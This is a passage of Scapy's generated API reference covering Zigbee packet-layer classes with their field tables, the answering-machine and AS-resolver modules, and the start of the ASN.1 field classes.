	ByteField (Cond)

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L711-L722]

	




	
payload_guess

	Possible sublayers:
ZigbeeAppCommandPayload










	
class scapy.layers.zigbee.ZigbeeAppDataPayloadStub(_pkt, /, *, frame_control=<Flag 0 ()>, delivery_mode=0, frametype=3, group_addr=0, cluster=0, profile=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L929-L949]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FRAME C|DEL|FRA|           GROUP ADDR          |    CLUSTER    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            PROFILE            |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                  Fig. ZigbeeAppDataPayloadStub                   


ZigbeeAppDataPayloadStub fields






	frame_control

	FlagsField

	<Flag 0 ()>



	delivery_mode

	BitEnumField

	0



	frametype

	BitField  (2 bits)

	3



	group_addr

	XLEShortField (Cond)

	0



	cluster

	XLEShortField

	0



	profile

	EnumField

	0



	data

	StrField (Cond)

	b''















	
class scapy.layers.zigbee.ZigbeeClusterLibrary(_pkt, /, *, reserved=0, disable_default_response=0, command_direction=0, manufacturer_specific=0, zcl_frametype=0, manufacturer_code=0, transaction_sequence=0, command_identifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1348-L1407]

	Bases: Packet


	
aliastypes

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'direction': ('command_direction', '2.5.0')}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESER|D|C|M|ZCL|       MANUFACTURER CODE       |TRANSACTION SEQ|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|COMMAND IDENTIF|
+-+-+-+-+-+-+-+-+

                    Fig. ZigbeeClusterLibrary                     


ZigbeeClusterLibrary fields






	reserved

	BitField  (3 bits)

	0



	disable_default_response

	BitField  (1 bit)

	0



	command_direction

	BitField  (1 bit)

	0



	manufacturer_specific

	BitField  (1 bit)

	0



	zcl_frametype

	BitEnumField

	0



	manufacturer_code

	XLEShortField (Cond)

	0



	transaction_sequence

	ByteField

	0



	command_identifier

	ByteEnumField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1374-L1407]

	




	
payload_guess

	Possible sublayers:
ZCLGeneralConfigureReportingResponse, ZCLGeneralConfigureReporting, ZCLGeneralDefaultResponse, ZCLGeneralReadAttributesResponse, ZCLGeneralReadAttributes, ZCLGeneralReportAttributes, ZCLGeneralWriteAttributesResponse, ZCLGeneralWriteAttributes










	
class scapy.layers.zigbee.ZigbeeDeviceProfile(_pkt, /, *, trans_seqnum=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L982-L994]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TRANS SEQNUM |
+-+-+-+-+-+-+-+-+

                     Fig. ZigbeeDeviceProfile                     


ZigbeeDeviceProfile fields






	trans_seqnum

	ByteField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L989-L994]

	








	
class scapy.layers.zigbee.ZigbeeNWK(_pkt, /, *, discover_route=0, proto_version=2, frametype=0, flags=<Flag 0 ()>, destination=0, source=0, radius=0, seqnum=1, ext_dst=0, ext_src=0, relay_count=1, relay_index=0, relays=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L298-L337]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L321-L327]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DIS|PROTO V|FRA|     FLAGS     |          DESTINATION          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SOURCE            |     RADIUS    |     SEQNUM    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            EXT DST            |            EXT SRC            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RELAY COUNT  |  RELAY INDEX  |             RELAYS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ZigbeeNWK                          


ZigbeeNWK fields






	discover_route

	BitField  (2 bits)

	0



	proto_version

	BitField  (4 bits)

	2



	frametype

	BitEnumField

	0



	flags

	FlagsField

	<Flag 0 ()>



	destination

	XLEShortField

	0



	source

	XLEShortField

	0



	radius

	ByteField

	0



	seqnum

	ByteField

	1



	ext_dst

	dot15d4AddressField (Cond)

	0



	ext_src

	dot15d4AddressField (Cond)

	0



	relay_count

	ByteField (Cond)

	1



	relay_index

	ByteField (Cond)

	0



	relays

	FieldListField (Cond)

	[]











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L329-L337]

	








	
class scapy.layers.zigbee.ZigbeeNWKCommandPayload(_pkt, /, *, cmd_identifier=1, res1=0, multicast=0, dest_addr_bit=0, many_to_one=0, res2=0, responder_addr_bit=0, originator_addr_bit=0, res3=0, route_request_identifier=0, originator_address=0, responder_address=0, status_code=0, destination_address=0, path_cost=0, ext_dst=0, originator_addr=0, responder_addr=0, remove_children=0, request=0, rejoin=0, res4=0, rr_relay_count=0, rr_relay_list=[], allocate_address=0, security_capability=0, reserved2=0, reserved1=0, receiver_on_when_idle=0, power_source=0, device_type=0, alternate_pan_coordinator=0, network_address=65535, rejoin_status=0, res5=0, last_frame=0, first_frame=0, entry_count=0, link_status_list=[], report_command_identifier=0, report_information_count=0, update_command_identifier=0, update_information_count=0, epid=0, PAN_ID_conflict_report=[], update_id=0, new_PAN_ID=0, req_timeout=3, ed_conf=0, status=0, res6=0, ed_timeout_req_keepalive=0, mac_data_poll_keepalive=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L357-L568]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| CMD IDENTIFIER|R|M|D|MAN| RES2|R|O|  RES3 |ROUTE REQUEST I|ORI|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |       RESPONDER ADDRESS       |STA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           |      DESTINATION ADDRESS      |   PATH COST   |EXT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |        ORIGINATOR ADDR        |RES|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |R|R|R|   RES4  | RR RELAY COUNT|RR |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |A|S|R|R|R|P|D|A|  NETWORK ADDRESS  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           | REJOIN STATUS |R|L|F|ENTRY COU|  LINK STATUS LIST |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           |REPOR|REPORT IN|UPDAT|UPDATE IN|        EPID       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           |     PAN ID CONFLICT REPORT    |   UPDATE ID   |NEW|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |  REQ TIMEOUT  |    ED CONF    |STA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           |    RES6   |E|M|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ZigbeeNWKCommandPayload                   


ZigbeeNWKCommandPayload fields






	cmd_identifier

	ByteEnumField

	1



	res1

	BitField (Cond) (1 bit)

	0



	multicast

	BitField (Cond) (1 bit)

	0



	dest_addr_bit

	BitField (Cond) (1 bit)

	0



	many_to_one

	BitEnumField (Cond)

	0



	res2

	BitField (Cond) (3 bits)

	0



	responder_addr_bit

	BitField (Cond) (1 bit)

	0



	originator_addr_bit

	BitField (Cond) (1 bit)

	0



	res3

	BitField (Cond) (4 bits)

	0



	route_request_identifier

	ByteField (Cond)

	0



	originator_address

	XLEShortField (Cond)

	0



	responder_address

	XLEShortField (Cond)

	0



	status_code

	ByteEnumField (Cond)

	0



	destination_address

	XLEShortField (Cond)

	0



	path_cost

	ByteField (Cond)

	0



	ext_dst

	dot15d4AddressField (Cond)

	0



	originator_addr

	dot15d4AddressField (Cond)

	0



	responder_addr

	dot15d4AddressField (Cond)

	0



	remove_children

	BitField (Cond) (1 bit)

	0



	request

	BitField (Cond) (1 bit)

	0



	rejoin

	BitField (Cond) (1 bit)

	0



	res4

	BitField (Cond) (5 bits)

	0



	rr_relay_count

	ByteField (Cond)

	0



	rr_relay_list

	FieldListField (Cond)

	[]



	allocate_address

	BitField (Cond) (1 bit)

	0



	security_capability

	BitField (Cond) (1 bit)

	0



	reserved2

	BitField (Cond) (1 bit)

	0



	reserved1

	BitField (Cond) (1 bit)

	0



	receiver_on_when_idle

	BitField (Cond) (1 bit)

	0



	power_source

	BitField (Cond) (1 bit)

	0



	device_type

	BitField (Cond) (1 bit)

	0



	alternate_pan_coordinator

	BitField (Cond) (1 bit)

	0



	network_address

	XLEShortField (Cond)

	65535



	rejoin_status

	ByteField (Cond)

	0



	res5

	BitField (Cond) (1 bit)

	0



	last_frame

	BitField (Cond) (1 bit)

	0



	first_frame

	BitField (Cond) (1 bit)

	0



	entry_count

	BitField (Cond) (5 bits)

	0



	link_status_list

	PacketListField (Cond)

	[]



	report_command_identifier

	BitEnumField (Cond)

	0



	report_information_count

	BitField (Cond) (5 bits)

	0



	update_command_identifier

	BitEnumField (Cond)

	0



	update_information_count

	BitField (Cond) (5 bits)

	0



	epid

	dot15d4AddressField (Cond)

	0



	PAN_ID_conflict_report

	FieldListField (Cond)

	[]



	update_id

	ByteField (Cond)

	0



	new_PAN_ID

	XLEShortField (Cond)

	0



	req_timeout

	ByteEnumField (Cond)

	3



	ed_conf

	ByteField (Cond)

	0



	status

	ByteEnumField (Cond)

	0



	res6

	BitField (Cond) (6 bits)

	0



	ed_timeout_req_keepalive

	BitField (Cond) (1 bit)

	0



	mac_data_poll_keepalive

	BitField (Cond) (1 bit)

	0















	
class scapy.layers.zigbee.ZigbeeNWKStub(_pkt, /, *, res1=0, proto_version=2, frametype=3, res2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L912-L926]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RES|PROTO V|FRA|      RES2     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ZigbeeNWKStub                        


ZigbeeNWKStub fields






	res1

	BitField  (2 bits)

	0



	proto_version

	BitField  (4 bits)

	2



	frametype

	BitField  (2 bits)

	3



	res2

	BitField  (8 bits)

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L922-L926]

	








	
class scapy.layers.zigbee.ZigbeeSecurityHeader(_pkt, /, *, reserved1=<Flag 0 ()>, extended_nonce=1, key_type=1, nwk_seclevel=0, fc=0, source=0, key_seqnum=0, data=b'', mic=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L593-L636]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RES|E|KEY|NWK S|                       FC                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             SOURCE            |   KEY SEQNUM  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |              MIC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ZigbeeSecurityHeader                     


ZigbeeSecurityHeader fields






	reserved1

	FlagsField

	<Flag 0 ()>



	extended_nonce

	BitField  (1 bit)

	1



	key_type

	BitEnumField

	1



	nwk_seclevel

	BitEnumField

	0



	fc

	XLEIntField

	0



	source

	dot15d4AddressField (Cond)

	0



	key_seqnum

	ByteField (Cond)

	0



	data

	StrField

	b''



	mic

	XStrField

	b''











	
post_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L630-L636]

	








	
scapy.layers.zigbee.util_mic_len(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L571-L590]

	Calculate the length of the attribute value field








            

          

      

      

    

  

    
      
          
            
  
scapy.ansmachine

Answering machines.


	
class scapy.ansmachine.AnsweringMachine(self)[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L70-L223]

	Bases: Generic[_T]


	
bg(*args: Any, **kwargs: Any) → AsyncSniffer[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L193-L197]

	




	
filter: str | None = None

	




	
function_name = ''

	




	
is_request(req: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L142-L144]

	




	
abstract make_reply(req: Packet) → _T[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L146-L149]

	




	
parse_all_options(mode: int, kargs: Any) → Tuple[Dict[str, Any], Dict[str, Any]][source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L117-L140]

	




	
parse_options() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L113-L115]

	




	
print_reply(req: Packet, reply: _T) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L158-L164]

	




	
reply(pkt: Packet, send_function: Callable[[...], None] | None = None, address: Any | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L166-L183]

	




	
run(*args: Any, **kargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L185-L191]

	




	
static send_function(x: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], iface: NetworkInterface | str | None = None, **kargs: Any) → PacketList | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L425-L452]

	Send packets at layer 3


	Parameters:

	
	x – the packets


	inter – time (in s) between two packets (default 0)


	loop – send packet indefinitely (default 0)


	count – number of packets to send (default None=1)


	verbose – verbose mode (default None=conf.verb)


	realtime – check that a packet was sent before sending the next one


	return_packets – return the sent packets


	socket – the socket to use (default is conf.L3socket(kargs))


	iface – the interface to send the packets on


	monitor – (not on linux) send in monitor mode






	Returns:

	None










	
send_options: Dict[str, Any] = {'verbose': 0}

	




	
send_options_list = ['iface', 'inter', 'loop', 'verbose', 'socket']

	




	
send_reply(reply: _T, send_function: Callable[[...], None] | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L151-L156]

	




	
sniff() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L216-L218]

	




	
sniff_bg() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L220-L223]

	




	
sniff_options: Dict[str, Any] = {'store': 0}

	




	
sniff_options_list = ['store', 'iface', 'count', 'promisc', 'filter', 'type', 'prn', 'stop_filter', 'opened_socket']

	








	
class scapy.ansmachine.AnsweringMachineTCP(self, port=80, cls=<class 'scapy.packet.Raw'>)[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L226-L284]

	Bases: AnsweringMachine[Packet]

An answering machine that use the classic socket.socket to
answer multiple TCP clients


	
TYPE = 1

	




	
close() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L238-L240]

	




	
make_reply(req: Packet, address: Any | None = None) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L282-L284]

	




	
parse_options(port: int = 80, cls: ~typing.Type[~scapy.packet.Packet] = <class 'scapy.packet.Raw'>) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L233-L236]

	




	
sniff() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L242-L275]

	




	
sniff_bg() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L277-L280]

	








	
class scapy.ansmachine.AnsweringMachineUDP(self, port=80, cls=<class 'scapy.packet.Raw'>)[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L287-L292]

	Bases: AnsweringMachineTCP

An answering machine that use the classic socket.socket to
answer multiple UDP clients


	
TYPE = 2

	








	
class scapy.ansmachine.ReferenceAM(name: str, bases: Tuple[type, ...], dct: Dict[str, Any])[source] [https://github.com/secdev/scapy/blob/master/scapy/ansmachine.py#L41-L67]

	Bases: type








            

          

      

      

    

  

    
      
          
            
  
scapy.as_resolvers

Resolve Autonomous Systems (AS).


	
class scapy.as_resolvers.AS_resolver(server: str | None = None, port: int = 43, options: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/as_resolvers.py#L23-L81]

	Bases: object


	
options: str | None = '-k'

	




	
resolve(*ips: str) → List[Tuple[str, str | None, str]][source] [https://github.com/secdev/scapy/blob/master/scapy/as_resolvers.py#L70-L81]

	




	
server = None

	








	
class scapy.as_resolvers.AS_resolver_cymru(server: str | None = None, port: int = 43, options: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/as_resolvers.py#L94-L132]

	Bases: AS_resolver


	
options: str | None = None

	




	
parse(data: bytes) → List[Tuple[str, str | None, str]][source] [https://github.com/secdev/scapy/blob/master/scapy/as_resolvers.py#L119-L132]

	Parse bulk cymru data






	
resolve(*ips: str) → List[Tuple[str, str | None, str]][source] [https://github.com/secdev/scapy/blob/master/scapy/as_resolvers.py#L98-L117]

	




	
server = 'whois.cymru.com'

	








	
class scapy.as_resolvers.AS_resolver_multi(*reslist: AS_resolver)[source] [https://github.com/secdev/scapy/blob/master/scapy/as_resolvers.py#L135-L158]

	Bases: AS_resolver


	
resolve(*ips: Any) → List[Tuple[str, str | None, str]][source] [https://github.com/secdev/scapy/blob/master/scapy/as_resolvers.py#L145-L158]

	








	
class scapy.as_resolvers.AS_resolver_radb(server: str | None = None, port: int = 43, options: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/as_resolvers.py#L89-L91]

	Bases: AS_resolver


	
options: str | None = '-k -M'

	




	
server = 'whois.ra.net'

	








	
class scapy.as_resolvers.AS_resolver_riswhois(server: str | None = None, port: int = 43, options: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/as_resolvers.py#L84-L86]

	Bases: AS_resolver


	
options: str | None = '-k -M -1'

	




	
server = 'riswhois.ripe.net'

	










            

          

      

      

    

  

    
      
          
            
  
scapy.asn1fields

Classes that implement ASN.1 data structures.


	
class scapy.asn1fields.ASN1F_BIT_STRING(name: str, default: ASN1_BIT_STRING | AnyStr | None, default_readable: bool = True, context: Any | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L319-L344]

	Bases: ASN1F_field[str, ASN1_BIT_STRING]


	
ASN1_tag = <ASN1Tag BIT_STRING[3]>

	




	
randval() → RandString[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L342-L344]

	








	
class scapy.asn1fields.ASN1F_BIT_STRING_ENCAPS(name: str, default: ASN1_Packet | None, cls: Type[ASN1_Packet], context: Any | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L862-L908]

	Bases: ASN1F_BIT_STRING

We may emulate simple string encapsulation with explicit_tag=0x04,
but we need a specific class for bit strings because of unused bits, etc.


	
ASN1_tag = <ASN1Tag BIT_STRING[3]>

	




	
i2m(pkt: ASN1_Packet, x: ASN1_BIT_STRING | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L901-L908]

	




	
m2i(pkt: ASN1_Packet, s: bytes) → Tuple[ASN1_Packet | None, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L887-L899]

	








	
class scapy.asn1fields.ASN1F_BMP_STRING(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L423-L424]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag BMP_STRING[30]>

	








	
class scapy.asn1fields.ASN1F_BOOLEAN(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L253-L258]

	Bases: ASN1F_field[bool, ASN1_BOOLEAN]


	
ASN1_tag = <ASN1Tag BOOLEAN[1]>

	




	
randval() → RandChoice[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L256-L258]

	








	
class scapy.asn1fields.ASN1F_CHOICE(name: str, default: Any, *args: _CHOICE_T, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L669-L775]

	Bases: ASN1F_field[Union[ASN1_Packet, Type[ASN1F_field[Any, Any]], ASN1F_PACKET], ASN1_Object[Any]]

Multiple types are allowed: ASN1_Packet, ASN1F_field and ASN1F_PACKET(),
See layers/x509.py for examples.
Other ASN1F_field instances than ASN1F_PACKET instances must not be used.


	
ASN1_tag = <ASN1Tag ANY[0]>

	




	
holds_packets = 1

	




	
i2m(pkt: ASN1_Packet, x: Any) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L748-L759]

	




	
m2i(pkt: ASN1_Packet, s: bytes) → Tuple[ASN1_Object[Any], bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L716-L746]

	First we have to retrieve the appropriate choice.
Then we extract the field/packet, according to this choice.






	
randval() → RandChoice[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L761-L775]

	








	
class scapy.asn1fields.ASN1F_ENUMERATED(name: str, default: ASN1_INTEGER, enum: Dict[int, str], context: Any | None = None, implicit_tag: Any | None = None, explicit_tag: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L367-L368]

	Bases: ASN1F_enum_INTEGER


	
ASN1_tag = <ASN1Tag ENUMERATED[10]>

	








	
class scapy.asn1fields.ASN1F_FLAGS(name: str, default: str | None, mapping: List[str], context: Any | None = None, implicit_tag: int | None = None, explicit_tag: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L911-L953]

	Bases: ASN1F_BIT_STRING


	
any2i(pkt: ASN1_Packet, x: Any) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L930-L940]

	




	
get_flags(pkt: ASN1_Packet) → List[str][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L942-L946]

	




	
i2repr(pkt: ASN1_Packet, x: Any) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L948-L953]

	








	
class scapy.asn1fields.ASN1F_GENERALIZED_TIME(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L407-L412]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag GENERALIZED_TIME[24]>

	




	
randval() → GeneralizedTime[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L410-L412]

	








	
class scapy.asn1fields.ASN1F_GENERAL_STRING(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L395-L396]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag GENERAL_STRING[27]>

	








	
class scapy.asn1fields.ASN1F_IA5_STRING(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L391-L392]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag IA5_STRING[22]>

	








	
class scapy.asn1fields.ASN1F_INTEGER(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L261-L266]

	Bases: ASN1F_field[int, ASN1_INTEGER]


	
ASN1_tag = <ASN1Tag INTEGER[2]>

	




	
randval() → RandNum[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L264-L266]

	








	
class scapy.asn1fields.ASN1F_IPADDRESS(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L613-L614]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag IPADDRESS[64]>

	








	
class scapy.asn1fields.ASN1F_ISO646_STRING(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L415-L416]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag ISO646_STRING[26]>

	








	
class scapy.asn1fields.ASN1F_NULL(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L355-L356]

	Bases: ASN1F_INTEGER


	
ASN1_tag = <ASN1Tag NULL[5]>

	








	
class scapy.asn1fields.ASN1F_NUMERIC_STRING(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L375-L376]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag NUMERIC_STRING[18]>

	








	
class scapy.asn1fields.ASN1F_OID(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L359-L364]

